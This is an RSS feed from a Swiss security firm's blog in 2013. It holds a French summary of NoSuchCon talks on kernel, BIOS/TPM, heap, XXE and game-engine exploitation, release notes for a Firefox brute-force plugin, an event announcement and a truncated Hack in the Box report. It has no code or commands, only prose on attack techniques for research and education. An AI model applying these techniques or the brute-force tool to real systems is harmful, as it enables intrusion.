<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>SCRT Sec Team blog</title>
	<atom:link href="http://blog.scrt.ch/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.scrt.ch</link>
	<description>SCRT Information Security blog</description>
	<lastBuildDate>Wed, 22 May 2013 08:17:53 +0000</lastBuildDate>
	<language>fr</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='blog.scrt.ch' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://0.gravatar.com/blavatar/4f98ae3b882ea7fc8b25a8d9f7f3c912?s=96&#038;d=http%3A%2F%2Fs2.wp.com%2Fi%2Fbuttonw-com.png</url>
		<title>SCRT Sec Team blog</title>
		<link>http://blog.scrt.ch</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://blog.scrt.ch/osd.xml" title="SCRT Sec Team blog" />
	<atom:link rel='hub' href='http://blog.scrt.ch/?pushpress=hub'/>
		<item>
		<title>SCRT Security day : 13 Juin 2013 à Chavannes de Bogis</title>
		<link>http://blog.scrt.ch/2013/05/22/scrt-security-day-13-juin-2013-a-chavannes-de-bogis/</link>
		<comments>http://blog.scrt.ch/2013/05/22/scrt-security-day-13-juin-2013-a-chavannes-de-bogis/#comments</comments>
		<pubDate>Wed, 22 May 2013 08:15:47 +0000</pubDate>
		<dc:creator>blogscrt</dc:creator>
				<category><![CDATA[Events]]></category>
		<category><![CDATA[news]]></category>

		<guid isPermaLink="false">http://blog.scrt.ch/?p=1194</guid>
		<description><![CDATA[/* EN BREF */ Quand : 13 Juin 2013 de 09h30 à 16h30 Ou : Chavannes-de-bogis, hotel Best Western Qui : SCRT, Fortinet, Fireeye, Entrust, Juniper, Barracuda, Varonis Quoi : démonstrations. nouveautés, réponses à vos questions inscriptions : par email &#8230; <a href="http://blog.scrt.ch/2013/05/22/scrt-security-day-13-juin-2013-a-chavannes-de-bogis/">Lire la suite <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.scrt.ch&#038;blog=15166482&#038;post=1194&#038;subd=blogscrt&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p><strong>/* EN BREF */</strong><br />
Quand : 13 Juin 2013 de 09h30 à 16h30<br />
Ou : Chavannes-de-bogis, hotel Best Western<br />
Qui : SCRT, Fortinet, Fireeye, Entrust, Juniper, Barracuda, Varonis<br />
Quoi : démonstrations. nouveautés, réponses à vos questions<br />
inscriptions : par email aurpès de votre contact chez SCRT , avant le 03 Juin  2013, places limitées</p>
<p><strong>/* PROGRAMME DE LA JOURNÉE */</strong><br />
9h00-9h30 : arrivée des participants avec petit déjeuner<br />
09h30 &#8211; 10h00 : Introduction par SCRT : nouveautés et évolutions<br />
10h00 &#8211; 11h00 : Fortinet<br />
Présentation/démonstration des nouveautés liées à FortiOS 5 : BYOD , Device recognition, wifi, unified access layer&#8230;<br />
11h00 &#8211; 12h00 : Fireeye<br />
Démonstration de Fireeye, solution de nouvelle génération visant à luter contre les logiciels malveillants avancés (Advanced Malwares), les vulnérabilités non connues (zéro day) et les attaques ciblées (APT Attacks).<br />
12h &#8211; 13h30 : Lunch offert<br />
13h30 &#8211; 14h30 : Entrust<br />
Démonstrations autour de la solution IdentityGuard (solution d&rsquo;authentification forte) : nouveautés, solution anti-fishing, démonstration d&rsquo;intégration avec une application web, vérification des transactions<br />
14h30 &#8211; 15h15 : Juniper WebApp secure<br />
Présentation et démonstration de Juniper Web App Secure (anciennement Mykonos) , solution de défense pro-active visant à pièger l’attaquant en temps réel, établir son profil afin d’évaluer le niveau de menace et déployer des contre mesures de protection adéquates en temps réel afin de protéger un site ou application web<br />
15h15 &#8211; 16h00 : Barracuda Web Application Firewall<br />
Présentation et démonstration du WAF Barracuda, solution de protection contre les tentatives d&rsquo;exploitation de vulnérabilités des sites ou d&rsquo;applications Web<br />
16h00 &#8211; 16h40 : Varonis Datadvantage<br />
Présentation et démonstration de la suite Datadvantage de management et protection des données : audits des accès, identification des propriétaires des données, gestion du risque&#8230;<br />
à partir de 16h30 : Apéritif offert</p>
<p><strong>/* INSCRIPTIONS */</strong><br />
Événement gratuit.<br />
Le nombre de places étant limité, nous vous remercions de nous confirmer votre présence par email ou téléphone (021 802 64 01), avant le 03 Juin 2013.</p>
<p>Nous nous réjouissons de vous accueillir et de pouvoir répondre à toutes vos questions à la suite des différentes présentations</p>
<p>&#8212;-</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/blogscrt.wordpress.com/1194/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/blogscrt.wordpress.com/1194/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.scrt.ch&#038;blog=15166482&#038;post=1194&#038;subd=blogscrt&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.scrt.ch/2013/05/22/scrt-security-day-13-juin-2013-a-chavannes-de-bogis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/bd342c2aa5335c7bd3eddeb57a84b4d1?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">blogscrt</media:title>
		</media:content>
	</item>
		<item>
		<title>NoSuchCon</title>
		<link>http://blog.scrt.ch/2013/05/20/nosuchcon/</link>
		<comments>http://blog.scrt.ch/2013/05/20/nosuchcon/#comments</comments>
		<pubDate>Mon, 20 May 2013 20:40:48 +0000</pubDate>
		<dc:creator>agixid</dc:creator>
				<category><![CDATA[Events]]></category>
		<category><![CDATA[news]]></category>

		<guid isPermaLink="false">http://blog.scrt.ch/?p=1187</guid>
		<description><![CDATA[Jour 1 Mateusz &#8216;j00ru&#8217; Jurczyk &#8211; Abusing the Windows Kernel : How to Crash an Operating System with Two Instructions NoSuchCon a démarré violemment avec la présentation par j00ru de ses recherches sur le kernel windows. Il s&#8217;est d&#8217;abord penché &#8230; <a href="http://blog.scrt.ch/2013/05/20/nosuchcon/">Lire la suite <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.scrt.ch&#038;blog=15166482&#038;post=1187&#038;subd=blogscrt&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<h1>Jour 1</h1>
<h2>Mateusz &lsquo;j00ru&rsquo; Jurczyk &#8211; Abusing the Windows Kernel : How to Crash an Operating System with Two Instructions</h2>
<p>NoSuchCon a démarré violemment avec la présentation par j00ru de ses recherches sur le kernel windows. Il s&rsquo;est d&rsquo;abord penché sur les fonctions de gestion de la mémoire (nt!memcpy, nt!memmove&#8230;) mettant l&rsquo;accent sur le fait que les copies s&rsquo;effectuent dans l&rsquo;ordre inverse des données.</p>
<p>Cela lui permet de rendre exploitable des overflows en utilisant une race condition. Ou encore de bypasser les GS stack cookies en utilisant le gestionnaire d&rsquo;exception pour ne copier que la fin de son buffer (vu que copiés en premier).</p>
<p>Pour les habitués du kernel, autant aller lire son blog <a href="http://j00ru.vexillium.org/">http://j00ru.vexillium.org/</a> et ses slides <a href="http://www.nosuchcon.org/talks/D1_01_j00ru_Abusing_the_Windows_Kernel.pdf">http://www.nosuchcon.org/talks/D1_01_j00ru_Abusing_the_Windows_Kernel.pdf</a></p>
<h2>Alex Ionescu &#8211; Ninjas and Harry Potter &quot;Spell&quot;unking in Apple SMC Land</h2>
<p>Après j00ru, la seconde star : Ionescu, Co-auteur du Windows Internals, a présenté ses recherches sur le System Management Controller (SMC) d&rsquo;Apple.</p>
<p>Ce chipset sous architecture Renesas s&rsquo;occupe par exemple de réguler le ventilateur, de détecter la luminosité ou encore la mise en veille par fermeture de l&rsquo;ordinateur.</p>
<p>Ionescu présentait le résultat du reverse de ce SMC.</p>
<p>Via le SMCProtocol il est possible de lire et d&rsquo;écrire dans la mémoire du chipset pour par exemple changer des clés en rapport à la gestion de la batterie, de la température et, présenté en démo, modifier la vitesse du ventilateur.</p>
<p>Détail amusant ayant donné le titre de sa conf, une clé écrite en dur permettrait de donner un accès en lecture à d&rsquo;autres zones mémoires. Cette clé : SpecialisRevelio est tout droit tiré d&rsquo;Harry Potter.<br />
Quand au Ninja, il provient d&rsquo;un nom de timer &quot;Ninja Action Timer&quot; permettant de déclencher une action à un instant donné.</p>
<p>Ce talk sur Apple, par un Mr Windows nous a appris beaucoup de chose sur ce chipset SMC non documenté. <a href="http://www.nosuchcon.org/talks/D1_02_Alex_Ninjas_and_Harry_Potter.pdf">http://www.nosuchcon.org/talks/D1_02_Alex_Ninjas_and_Harry_Potter.pdf</a></p>
<h2>Travis Goodspeed &#8211; Nifty Tricks and Sage Advice for Shellcode on Embedded Systems</h2>
<p>Travis Goodspeed a commencé son talk par un troll sur les APTs avec la présentation d <a href="http://aptfriendfinder.com/">http://aptfriendfinder.com/</a> un site proposant un merveilleux outils pour rencontrer son APT.</p>
<p>C&rsquo;est donc le sourire au lèvre qu&rsquo;il nous a plongé dans l&rsquo;exploitation de systèmes embarqués.</p>
<p>Détaillant d&rsquo;abord les différents systèmes qu&rsquo;il a testé (8051,MSP430), il a alors énoncé la difficulté de réaliser un exploit sur ces environnements. Non pas à cause des mitigations type ASLR et NX mais bien parce qu&rsquo;il n&rsquo;existe aucun moyen de débuguer ces systèmes pour trouver une quelconque adresse et que l&rsquo;organisation de ces architectures suffit à elle seule à protéger l&rsquo;exécution de code en RAM.</p>
<p>Il en est donc arrivé à développer une technique de ROP en blind.</p>
<p>Pour trouver les gadgets, il cherche d&rsquo;abord tous les ret en passant par le bootloader situé en ROM qu&rsquo;il connait. Une fois tous les ret trouvés, il bruteforce son ROP en essayant toutes les possibilités d’enchaînement de gadgets.</p>
<p>Travis Goodspeed est toujours aussi impressionnant dans sa maîtrise des environnements bas niveau. <a href="http://www.nosuchcon.org/talks/D1_03_goodspeed_Nifty_Tricks_and_Sage%20Advice_for_Shellcode_on_Embedded_Systems.pdf">http://www.nosuchcon.org/talks/D1_03_goodspeed_Nifty_Tricks_and_Sage%20Advice_for_Shellcode_on_Embedded_Systems.pdf</a></p>
<h2>Nicolas Grégoire &#8211; Dumb fuzzing XSLT engines in a smart way</h2>
<p>Nicolas Grégoires, le pwneur d&rsquo;XML est venu nous présenter comment fuzzer avec de petits moyens tout en ayant de très bons résultats.</p>
<p>Après avoir présenté l&rsquo;XSLT et le scope des applications l&rsquo;utilisant, il a expliqué comment il avait trouvé ces dernières années, toutes ces CVE.</p>
<p>Tout d&rsquo;abord il a cherché à identifier les moteurs XSLT utilisés par les différentes applications comme Adobe Reader, Firefox ou Oracle. Ensuite afin de faciliter son fuzzing, il a cherché si ces moteurs proposaient un CLI wrapper. Il a ainsi pu se défaire de la lenteur des applications graphiques et ce concentrer uniquement sur l&rsquo;XSLT.</p>
<p>Pour la génération des test cases, il a utilisé Radamsa sur un grand nombre de samples récupérés sur internet. Il a alors démarré son fuzz via un script python regroupant la génération, le lancement des CLIs et l&rsquo;envoie des crashs par email, tout ça sur quelques VMs gratuites d&rsquo;Amazon AWS et Microsoft Azure et une seule VM plus puissante (Amazon AWS &quot;c1.medium&quot;) ne lui ayant coûté qu&rsquo;une centaine d&rsquo;euros pour 2 mois 24/7.</p>
<p>Afin de remonter également des bugs sans crash, il a utilisé Dr.Memory <a href="http://www.drmemory.org/">http://www.drmemory.org/</a> pour Windows, Valgrind <a href="http://valgrind.org/">http://valgrind.org/</a> pour linux et ASan <a href="http://www.chromium.org/developers/testing/addresssanitizer">http://www.chromium.org/developers/testing/addresssanitizer</a> pour les moteurs open source.</p>
<p>Inutile de dire que la qualité/quantité des résultats obtenus a laissé tout le monde rêveur. <a href="http://www.nosuchcon.org/talks/D1_04_Nicolas_Gregoire_XSLT_Fuzzing.pdf">http://www.nosuchcon.org/talks/D1_04_Nicolas_Gregoire_XSLT_Fuzzing.pdf</a></p>
<h2>Saumil Shah &#8211; Deadly Pixels &#8211; Innovative (and pretty) exploit delivery</h2>
<p>Ayant déjà vu (et résumé) ce talk à HITB Malaysia, je rappellerais juste ici l&rsquo;originalité des exploits de Saumil.</p>
<p>En bref, il embarque dans un GIF valide, du javascript lui permettant d&rsquo;extraire son exploit d&rsquo;un PNG avec des techniques de stegano.</p>
<p><a href="http://www.nosuchcon.org/talks/D1_05_Saumil_Deadly_Pixels.pdf">http://www.nosuchcon.org/talks/D1_05_Saumil_Deadly_Pixels.pdf</a></p>
<h1>Jour 2</h1>
<h2>John Butterworth, Corey Kallenberg, Xeno Kovah &#8211; TPM &amp; BIOS Security TBA</h2>
<p>Ces 3 chercheurs du MITRE ont présenté leurs recherches sur les manières d&rsquo;infecter le BIOS malgré le TPM (Trusted Platform Module). Ce module permet de générer et stocker des clés ou encore démarrer le système en fonction d&rsquo;une signature stockée dans le PCR (Platform Configuration Register).</p>
<p>Cette signature calculée par le SRTM (Static Root of Trust Measurement) dépend de plusieurs parties du BIOS, le MBR et autres calculs propre à l&rsquo;état du système.</p>
<p>Après avoir expliqué différentes méthodes pour récupérer le firmware du BIOS, ils ont présenté une technique permettant de bypasser ce SRTM.</p>
<p>Une fois le PCR hash connu, ils ont simplement empêché le SRTM de se produire tout en envoyant le PCR valide au TPM.</p>
<p>Encore plus fort, en connaissant les PCR des updates suivants, leur malware nommé &quot;flea&quot; résiste aux mises à jour.</p>
<p>Lors d&rsquo;une demande d&rsquo;update, flea va s&rsquo;injecter dans le firmware en ram avant que le bios ne soit flashé avec.</p>
<p>Un talk très bien mené pour la complexité de ces mécanismes. <a href="http://www.nosuchcon.org/talks/D2_01_Butterworth_BIOS_Chronomancy.pdf">http://www.nosuchcon.org/talks/D2_01_Butterworth_BIOS_Chronomancy.pdf</a></p>
<h2>Stephen A. Ridley &#8211; Who&rsquo;d have thought they&rsquo;d meet in the middle ? &lsquo;ARM Exploitation&rsquo; meets &quot;Hardware Exploitation&quot;. Sharable memoirs from a very surprising last year</h2>
<p>Stephen A. Ridley a donné le même talk qu&rsquo;à Insomni&rsquo;hack cette année. Arm exploitation bukkakeheap, pievot&#8230; Un showman présentant avec humour ces travaux. <a href="http://www.nosuchcon.org/talks/D2_02_Ridley_ARM_Exploitation_And_Hardware_Hacking.pdf">http://www.nosuchcon.org/talks/D2_02_Ridley_ARM_Exploitation_And_Hardware_Hacking.pdf</a></p>
<h2>Zhenhua (Eric) Liu &#8211; Advanced Heap Manipulation in Windows 8</h2>
<p>Le début d&rsquo;après midi a été une fois encore très enrichissant avec la présentation du heap sous windows 8 par ce senior security researcher @ Fortinet.</p>
<p>Bien que le fonctionnement du heap soit toujours un sujet complexe, Eric a su expliquer ses découvertes de manière totalement décontractée et claire.</p>
<p>Après avoir rappelé l’intérêt des exploits kernel notamment dans le bypass de sandbox, il a présenté les nouvelles protections présentes dans le kernel windows 8.</p>
<p>L&rsquo;exploitation est donc maintenant possible par la compromission des données propres à l&rsquo;application. Savoir manipuler le heap afin d&rsquo;ordonner les données est donc une solution à toutes les mitigations.</p>
<p>Il nous a alors fait une démonstration de heap Feng Shui afin donc d&rsquo;allouer un objet particulier juste derrière un buffer vulnerable tout en évitant de provoquer la LFH.</p>
<p>Un des meilleurs talks des 3 jours. <a href="http://www.nosuchcon.org/talks/D2_03_Eric_heap_mannipulation.pdf">http://www.nosuchcon.org/talks/D2_03_Eric_heap_mannipulation.pdf</a></p>
<h2>Fin d&rsquo;après midi</h2>
<p>Les conférences suivantes ont en revanche eu moins de succès.</p>
<p>Tout d&rsquo;abord Fabien Duchene a présenté son outil de reverse d&rsquo;application web. Un concept basé sur de l&rsquo;heuristique et des idées originales.</p>
<p>S&rsquo;en est suivi un talk sur la cryptographie dans les puces électroniques antidémarrages des voitures modernes. Sans surprise, elle est très faible !</p>
<p>Puis un interminable talk sur de l&rsquo;analyse automatisée de crashdump via data tainting et trace slicing afin de déterminer rapidement l&rsquo;exploitabilité d&rsquo;une vulnérabilité.</p>
<p>Enfin, un talk original sur SAP TMS présentait les dangers liés à la mauvaise configuration/utilisation de ces progiciels.</p>
<h1><del>Moitié de</del> Jour 3</h1>
<p>Après la private party à la Rotonde, inutile de préciser que la matinée fut plutôt difficile. Petite parenthèse pour remercier les organisateurs de cette soirée qui fut l&rsquo;occasion de rencontrer tous un lot de stars autour d&rsquo;un <strong>buffet600</strong> digne de ce nom.</p>
<h2>Aaron LeMasters &#8211; Crashdmp-ster Diving the Windows 8 Crash Dump Stack</h2>
<p>Aaron présentait ici une découverte originale sur la gestion des crashs sous windows 8 notamment avec l&rsquo;introduction des crash dump filters.</p>
<p>Cela lui permettait après provocation de BSOD, d&rsquo;obtenir un arbitrary file access depuis le kernel.</p>
<p>N&rsquo;étant pas à proprement parler une vulnérabilité, on peut s&rsquo;attendre à retrouver cette technique dans des rootkits&#8230;</p>
<p>Il a terminé son talk en présentant le write-up de l&rsquo;épreuve du Boston CTF qui utilisait cette technique. <a href="http://www.nosuchcon.org/talks/D3_01_Aaron_Crashdmpster_Diving_Win8.pdf">http://www.nosuchcon.org/talks/D3_01_Aaron_Crashdmpster_Diving_Win8.pdf</a></p>
<h2>Yusunov Timur, Alexey Osipov &#8211; XML Out-Of-Band Exploitation</h2>
<p>Ces 2 ingénieurs de Positive Technologies ont présenté leurs derniers travaux sur l&rsquo;exploitation.</p>
<p>Après des rappels sur le fonctionnement des entités XML et des XXE ils ont montré comment bypasser certaines règles de ModSecurity et mis au point des techniques de XXE error-based ou encore utilisant des requêtes DNS pour leaker des informations.</p>
<p><a href="http://www.nosuchcon.org/talks/D3_03_Alex&amp;Timur_XML_Out_Of_Band.pdf">http://www.nosuchcon.org/talks/D3_03_Alex&amp;Timur_XML_Out_Of_Band.pdf</a></p>
<h2>Pedro Vilaca &#8211; Revisiting Mac OS X Kernel Rootkits</h2>
<p>Ce talk sur le kernel de Mac OS X fut très long pour les personnes (comme moi) n&rsquo;ayant jamais mis le nez dans le kernel de Mac OS X&#8230; En tout cas vous pouvez toujours lire les slides <a href="http://www.nosuchcon.org/talks/D3_04_Pedro_Revisiting_MacOSX_Kernel_Rootkits.pdf">http://www.nosuchcon.org/talks/D3_04_Pedro_Revisiting_MacOSX_Kernel_Rootkits.pdf</a> et les travaux <a href="http://reverse.put.as/">http://reverse.put.as/</a> d&rsquo;osxreverser.</p>
<h2>Donato Ferrante &amp; Luigi Auriemma &#8211; Exploiting Game Engines For Fun And Profit</h2>
<p>Un talk très attendu tournant donc autour des jeux vidéos, mais surtout présenté par les fameux Luigi Auriemma et Donato Ferrante !</p>
<p>Ils ont alors expliqué pourquoi ils avaient choisi de cibler les jeux vidéos. C&rsquo;est un vecteur encore inexploité pouvant pourtant toucher des millions de personnes.</p>
<p>Pour augmenter encore le scope de leurs cibles, ils ont choisi de s&rsquo;attaquer plus particulièrement aux moteurs des jeux. En effet, de nombreux jeux partagent le même moteur. Cela réduit donc considérablement le spectre de recherche tout en augmentant les victimes potentielles.</p>
<p>Ils ont donc commencé par attaquer les moteurs en fragmentant les paquets au niveau réseau. Les impacts sur les moteurs de reconstruction de paquets ont semble-t-il porté ses fruits.</p>
<p>Leur deuxième cible a été le moteur de compression/décompression. Les méthodes de compression stockent souvent les valeurs sur 7 bits, le dernier bit étant utilisé afin de prévenir si un autre octet est nécessaire pour récupérer toutes les données.</p>
<p>En utilisant une simple technique de bit flipping sur le premier (pour le signe) et le dernier bit, ils ont ainsi pu remonter un certain nombre de bugs.</p>
<p>Le protocole du jeu utilisé pour communiquer peut également contenir des erreurs. Le hic est que pour un même moteur, les données échangées ne sont pas les mêmes. Des mécanismes d&rsquo;obfuscation entrent en jeu augmentant un peu la difficulté d&rsquo;exploitation. Leur solution a été de réaliser des tables de correspondances.</p>
<p>Dernier vecteur : les Maps, Mods et autre customisations sont souvent dans des formats binaires complexes et présentent donc également des vulnérabilités. Il est même possible de lancer via steam et un navigateur, des jeux avec des lignes de commandes particulières (utilisés pour du debug par exemple) contenant des failles.</p>
<p>Inutile de dire que l&rsquo;exploitation de game engine a de l&rsquo;avenir. <a href="http://www.revuln.com/files/ReVuln_Game_Engines_0days_tale.pdf">http://www.revuln.com/files/ReVuln_Game_Engines_0days_tale.pdf</a></p>
<h2>Sergey Bratus &#8211; &quot;Any Input Is a Program&quot; : Weird Machines in ABI and Architecture Metadata</h2>
<p>Sergey a remplacé Mohamed Saher pour nous présenter les travaux de ses étudiants Julian Bangert et Rebecca &lsquo;.bx&rsquo; Shapiro.</p>
<p>Ils ont mis au point une technique d&rsquo;exécution via le MMU et tous les mécanismes de gestion des page fault n&rsquo;utilisant qu&rsquo;une seule instruction est étant turing-complet ! Comme il le dit, &quot;think of it as a fairy tale&quot; c&rsquo;est vraiment magique et ça marche. <a href="http://www.nosuchcon.org/talks/D3_06_Sergey_Any_Input_is_a_program.pdf">http://www.nosuchcon.org/talks/D3_06_Sergey_Any_Input_is_a_program.pdf</a></p>
<h2>Adrien Chevalier, Robinson Delauguerre &#8211; Arsenic Framework, Killing RATs with an Incident Response Framework</h2>
<p>Cette dernière conférence était consacrée à la présentation d&rsquo;un framework de détection des remote access tools.</p>
<p>Les 3 axes sur lesquels se basent Arsenic sont l&rsquo;analyse réseau, le forensique des hôtes suspects et le reverse engineering. Tout ceci de manière automatique.</p>
<p>Ce framework écrit en ruby contient une API pour l&rsquo;écriture de modules et sortira dans les mois qui viennent.</p>
<p>Un projet à suivre et à essayer !</p>
<h2>The End</h2>
<p>Ce fut une semaine chargée <del>tant pour le foie que</del> pour les connaissances. Le 0% bullshit annoncé par Andrea Barisani dans la première Keynote a été atteint. NoSuchCon est réellement le type de conférence qui rassemble les meilleurs chercheurs dans une ambiance détendue, loin des commerciaux et des profits :p.</p>
<p>Merci encore aux organisateurs !!!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/blogscrt.wordpress.com/1187/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/blogscrt.wordpress.com/1187/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.scrt.ch&#038;blog=15166482&#038;post=1187&#038;subd=blogscrt&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.scrt.ch/2013/05/20/nosuchcon/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6757b479ae1754a340128c4c89b3e0c5?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">agixid</media:title>
		</media:content>
	</item>
		<item>
		<title>Publication de Fireforce 2.2 (plugin de Brute-force Firefox) / Release of Fireforce 2.2</title>
		<link>http://blog.scrt.ch/2013/05/02/publication-de-fireforce-2-2-plugin-de-brute-force-firefox-release-of-fireforce-2-2/</link>
		<comments>http://blog.scrt.ch/2013/05/02/publication-de-fireforce-2-2-plugin-de-brute-force-firefox-release-of-fireforce-2-2/#comments</comments>
		<pubDate>Thu, 02 May 2013 15:13:59 +0000</pubDate>
		<dc:creator>Manoé Zwahlen</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.scrt.ch/?p=1180</guid>
		<description><![CDATA[Sortie de Fireforce 2.2 L’extension est disponible sur notre site web http://www.scrt.ch/attaque/telechargements/fireforce et sur la plateforme de téléchargement de mozilla https://addons.mozilla.org ********************************************** Change log Nouveautés - Compatibilité avec Firefox 22.* - Générer un range de mot de passe (par exemple : 1000 à 2000) - Choisir &#8230; <a href="http://blog.scrt.ch/2013/05/02/publication-de-fireforce-2-2-plugin-de-brute-force-firefox-release-of-fireforce-2-2/">Lire la suite <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.scrt.ch&#038;blog=15166482&#038;post=1180&#038;subd=blogscrt&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p><strong>Sortie de Fireforce 2.2</strong></p>
<p>L’extension est disponible sur notre site web <a href="http://www.scrt.ch/attaque/telechargements/fireforce" rel="nofollow">http://www.scrt.ch/attaque/telechargements/fireforce</a> et sur la plateforme de téléchargement de mozilla <a href="https://addons.mozilla.org/" rel="nofollow">https://addons.mozilla.org</a></p>
<p>**********************************************<br />
Change log</p>
<p>Nouveautés</p>
<p>- Compatibilité avec Firefox 22.*<br />
- Générer un range de mot de passe (par exemple : 1000 à 2000)<br />
- Choisir si le texte correspond à une authentification réussie ou échouée</p>
<p>Suppression</p>
<p>- Plus possible de choisir le nombre de requête par seconde (la valeur est de 50 par défaut)</p>
<p>**********************************************</p>
<p>Merci de faire parvenir les problèmes rencontrés ainsi que vos commentaires à l’adresse <a href="mailto:info@scrt.ch">info@scrt.ch</a>.</p>
<p>&nbsp;</p>
<p><strong>Release of Fireforce 2.2</strong></p>
<p>The new version of Fireforce is available on our website <a href="http://www.scrt.ch/attaque/telechargements/fireforce" rel="nofollow">http://www.scrt.ch/attaque/telechargements/fireforce</a> and on the Mozzila plateform <a href="https://addons.mozilla.org/" rel="nofollow">https://addons.mozilla.org</a></p>
<p>**********************************************</p>
<p>Change log</p>
<p>Add</p>
<p>- Compatible with firefox 22.*<br />
- Generate password in a range (for example : 1000 to 2000)<br />
- choose if the text matches a successfull or failed authentication</p>
<p>Removal</p>
<p>- not possible to choose the number of password per second (the value 50 is set by default)</p>
<p>**********************************************</p>
<p>If you encounter any problems or have any comments, please contact us at:<a href="mailto:info@scrt.ch">info@scrt.ch</a>.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/blogscrt.wordpress.com/1180/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/blogscrt.wordpress.com/1180/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.scrt.ch&#038;blog=15166482&#038;post=1180&#038;subd=blogscrt&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.scrt.ch/2013/05/02/publication-de-fireforce-2-2-plugin-de-brute-force-firefox-release-of-fireforce-2-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/a230f11b6f6439e39f56d63afc6807de?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">manoezwahlen</media:title>
		</media:content>
	</item>
		<item>
		<title>Hack in The Box Amsterdam 2013</title>
		<link>http://blog.scrt.ch/2013/04/11/hack-in-the-box-amsterdam-2013/</link>
		<comments>http://blog.scrt.ch/2013/04/11/hack-in-the-box-amsterdam-2013/#comments</comments>
		<pubDate>Thu, 11 Apr 2013 19:52:34 +0000</pubDate>
		<dc:creator>Julien Bachmann</dc:creator>
				<category><![CDATA[Events]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[HiTB]]></category>

		<guid isPermaLink="false">http://blog.scrt.ch/?p=1177</guid>
		<description><![CDATA[Keynote jour 1 : Embracing the uncertainty of advanced attacks with Big Data analytics La keynote de lancement de la conférence avait pour thème la détection d&#8217;incidents à l&#8217;aide du Big Data. Ce terme est présent dans de nombreux milieux &#8230; <a href="http://blog.scrt.ch/2013/04/11/hack-in-the-box-amsterdam-2013/">Lire la suite <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.scrt.ch&#038;blog=15166482&#038;post=1177&#038;subd=blogscrt&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<h1>Keynote jour 1 : Embracing the uncertainty of advanced attacks with Big Data analytics</h1>
<p>La keynote de lancement de la conférence avait pour thème la détection d&rsquo;incidents à l&rsquo;aide du Big Data. Ce terme est présent dans de nombreux milieux depuis des années mais commence à peine à être utilisé dans le monde de la sécurité.</p>
<p>Comme Edward Schwartz (CISO de RSA) le repète à plusieurs reprises, la détection d&rsquo;incidents se heurte à différents problèmes comme la génération d&rsquo;évènements utiles et utilisables, ainsi qu&rsquo;à leur traitement. On commence à avoir une bonne vision de ce qui est clairement une attaque (signature de virus connus par exemple), mais comment détecter des attaques plus évoluées? Pour répondre à ces problèmes, M. Schwartz a formé des équipes avec des personnes spécialisées dans des domaines précis (malware analysis, exploit analysis, &#8230;) dans le but d&rsquo;avoir l&rsquo;expertise nécessaire pour la création des filtres appliqués sur les données ainsi que les validations.</p>
<p>Il est intéressant de voir comment des entreprises qui ont subis des attaques &quot;APT&quot; changent leur comportement, mais reste à voir comment cela peut se porter à des groupes de plus petite taille ou avec une équipe sécurité plus limitée en taille et/ou ressources.</p>
<h1>Papparazi over IP</h1>
<p>Les attaques présentées n&rsquo;avaient rien de nouveau et bien au contraire, elles sont généralement absentes dans les environnements que nous utilisons tous les jours. Daniel Mende démontre ici que ces attaques, même si très simples, sont présentent dans des équipements embarqués high-end comme les EOS 1DX de Canon.</p>
